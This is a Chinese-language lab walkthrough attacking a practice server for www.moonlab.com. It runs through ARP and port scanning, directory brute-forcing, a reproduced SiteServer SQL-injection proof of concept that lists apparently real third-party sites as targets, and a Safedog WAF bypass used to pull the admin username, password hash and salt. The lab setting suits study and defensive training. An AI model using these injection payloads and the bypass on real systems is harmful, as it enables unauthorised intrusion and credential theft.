靶场简介
网络拓扑图
其中Web服务器中第一个网卡,是根据本机IP自定义的
发现主机
可以使用arp-scan -l
扫描(工具在局域网内发送ARP数据包,来收集IP和MAC地址信息),也可以用netdiscover -i eth0(网卡,默认是etho) -r 192.168.0.0/24(网段)
来进行主动扫描(主动的探测发现网络内主机,但是这种方式往往会引起网络管理员的注意)。
netdiscove
还可以进行被动扫描
网卡被设置为混杂模式来侦听网络内的arp数据包进行被动式探测,这种方式就需要网络内设备发送arp包才能被探测到。
netdiscover -p
二者都是探测ARP包来实现的
这里我们的IP为192.168.124.11
服务器端口扫描
masscan 扫描
类似于nmap端口扫描器
扫描的频率小一点,因为有防火墙的缘故
masscan 192.168.124.11 -p 1-65535 --rate=100
我们在IP后面附加and 1=1
会跳出404页面,并发现防火墙

扫描结果:
nmap 探测端口信息
mkdir attack-2 # 新建文件夹来获取nmap扫描结果
cd attack-2
nmap -sV -p 5985,6588,999,21,80 -A 192.168.124.11 -oA attack-ports
参数详解:
-sV: 探测端口服务版本
-p:指定端口
-A: 全面系统检测、启用脚本检测、扫描等
-oA:将扫描结果写入文件,A是正常、XML、grepable这 三种格式都要有
扫描结果:
可以得出一部分信息:如操作系统,IIS版本,相应组件,网站目录等

优化扫描结果:
这样看扫描结果不太好看
xsltproc -o attack.html mode.xsl attack-ports.xml
mode.xsl # 是报告的模板
attack.html #是美化后的报告结果
attack-ports.xml 这是 nmap #保存的结果
优化结果:
显然扫描结果不是很理想,robots.txt文件下什么都没有。我们去看一下web服务器,打开安全狗,查看防护日志,果然都被拦下来了。
绑定 hosts 域名
这个靶场 web 服务器的域名是 www.moonlab.com
在 hosts 绑定对应的 IP 方能访问 web 服务
windows C:\Windows\System32\drivers\etc\hosts
192.168.124.11 www.moonlab.com
目录扫描
python 编程简单的目录扫描脚本
既然普通的扫描不行,我们就自定义一个目录扫描脚本
import requests
import time
with open('dict.txt', 'r', encoding='UTF-8') as readfile:
for dirs in readfile.readlines():
url = 'http://www.moonlab.com' + dirs.strip('\n')
resp = requests.get(url)
strlen = len(resp.text)
print(url + '--' + str(resp.status_code) + '--len--' + str(strlen))
time.sleep(0.5)
if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 301 or resp.status_code == 500:
with open('dictout.txt', 'a', encoding='UTF-8') as writefile:
writefile.write(url + '--' + str(resp.status_code) + '---len--' + str(strlen) + '\n')
writefile.close()
扫描下来发现siteserver
目录,状态码为500。
并自动重定向到login.aspx
siteserver 漏洞利用
可以看到系统版本和.NET版本,数据库等等。
siteserver 曾经爆出过很多漏洞,而且当前的版本比较低,直接用扫描器打。
https://github.com/johnniesong/w9scan/blob/master/plugins/2739.py 脚本文件
#!/usr/bin/evn python
#-*-:coding:utf-8 -*-
#Author:404
#Name:siteserver最新版3.6.4 sql inject漏洞大礼包of 1
#Refer:http://www.wooyun.org/corps/%E7%99%BE%E5%AE%B9%E5%8D%83%E5%9F%9F%E8%BD%AF%E4%BB%B6%E6%8A%80%E6%9C%AF%E5%BC%80%E5%8F%91%E6%9C%89%E9%99%90%E8%B4%A3%E4%BB%BB%E5%85%AC%E5%8F%B8/page/2
def assign(service,arg):
if service=="siteserver":
return True,arg
def audit(arg):
ps=[
'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
url=arg+p
code,head,res,errcode,_=curl.curl2(url)
if code==500 and "GAOJIMicrosoft" in res:
security_hole(url)
if __name__=="__main__":
from dummy import *
audit(assign('siteserver','http://www.plhgyy.com/')[1])
#audit(assign('siteserver','http://www.zgktws.com/')[1])
但是可能会被防火墙拦截,需要修改
import requests
ps = [
'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
url = "http://www.moonlab.com/" + p
req = requests.get(url)
if req.status_code == 500 and "GAOJIMicrosoft" in req.text:
print(url)
print(req.text)
结果:
根据这个结果知道了数据库版本(因为里面的url中有version=2
的信息),属于报错注入。这个poc是可以使用的
绕过安全狗注入
我们已知了这个地方有注入点,我们开始构造payload
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2Band%20db_name()=2;%20--
来获取库名,但是被防火墙拦下来了,可能是敏感信息。
用~
符号过iis安全狗的防火墙
数据库名
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNa
meCollection=test%27)%20and%20db_name()=~2;%20--
可以看到一下回显
知数据库的库名:msmoonlab
SQLServer和mysql差不多,会类似于information_schema
这样的表名存在
我们从bairong_Administrator
表中查看用户名和密码,显然密码是加密的
用户 密码 key
用户 admin
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNa
meCollection=test%27)%20and%20~1=(select%20top%201%20username%20from%
20[bairong_Administrator]);%20--
密码获取:
密文 64Cic1ERUP9n2OzxuKl9Tw==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNa
meCollection=test%27)%20and%20~1=(select%20top%201%20password%20from%
20[bairong_Administrator]);%20--
获取passwordsalt:
key LIywB/zHFDTuEA1LU53Opg==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNa
meCollection=test%27)%20and%20~1=(select%20top%201%20PasswordSalt%20fro
m%20[bairong_Administrator]);%20--
什么是passwordsalt?
如果你需要保存密码(比如网站用户的密码),你要考虑如何保护这些密码数据,常用的加密方法是使用哈希函数。即便是将原始密码加密后的哈希值存储在数据库中依然是不够安全的,可以通过查表法来解密。那么我们还可以在密文中加盐。盐(Salt)是什么?就是一个随机生成的字符串。我们将盐与原始密码连接(concat)在一起(放在前面或后面都可以),然后将concat后的字符串加密。采用这种方式加密密码,查表法就不灵了(因为盐是随机生成的)。
打败hash加密的方法,查表法
查表法不像字典和暴力那样猜密码,它首先将一些比较常用的密码的哈希值算好,然后建立一张表,当然密码越多,这张表就越大。当你知道某个密码的哈希值时,你只需要在你建立好的表中查找该哈希值,如果找到了,你就知道对应的密码了。